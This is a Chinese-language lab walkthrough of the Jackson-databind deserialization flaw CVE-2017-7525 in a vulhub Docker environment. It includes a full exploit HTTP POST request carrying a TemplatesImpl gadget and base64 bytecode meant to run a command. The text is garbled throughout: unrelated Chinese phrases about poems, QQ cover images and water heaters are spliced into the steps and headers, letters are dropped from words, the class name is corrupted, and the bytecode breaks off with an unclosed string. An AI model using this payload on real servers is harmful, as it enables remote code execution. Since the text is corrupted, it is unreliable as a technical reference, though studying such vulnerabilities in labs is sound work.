Jackson-databind反序列化漏洞(CVE-2017-7525)
漏洞原理
Jackson-databind ⽀持 Polymorphic Derialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有polymorph fields,即字段类型为接⼝、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (⼦类或接⼝实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执⾏。
所以,本漏洞利⽤条件如下:
开启 JacksonPolymorphicDerialization,即调⽤以下任意⽅法
司马光好学文言文翻译
Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使⽤的 Gadget 需要为其⼦类 / 实现接⼝
环境搭建
cd /root/vulhub/jackson/CVE-2017-7525
docker-compo up -d
⽤docker和vulhub搭建环境
使⽤JDK7u21的com.sun.apache.xalan.ax.TemplatesImpl作为Gadget,发送如下请求,将会执⾏touch
/:
发送POST数据,其中ba64加密的就是我们执⾏命令的
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en思亲的诗句
Ur-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: clo
感动的名言
Content-Type: application/json
qq封面图片Content-Length: 1298
{
"param": [
传染性"com.sun.apache.xalan.ax.TemplatesImpl",
{
热水器漏电"transletBytecodes": [
"yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVt ],
"transletName": "a.b",
"outputProperties": {}
}
]
英语月份缩写
}
这个POC只能运⾏在⽬标为JDK7u21以下的环境中,其他情况请更换Gadget。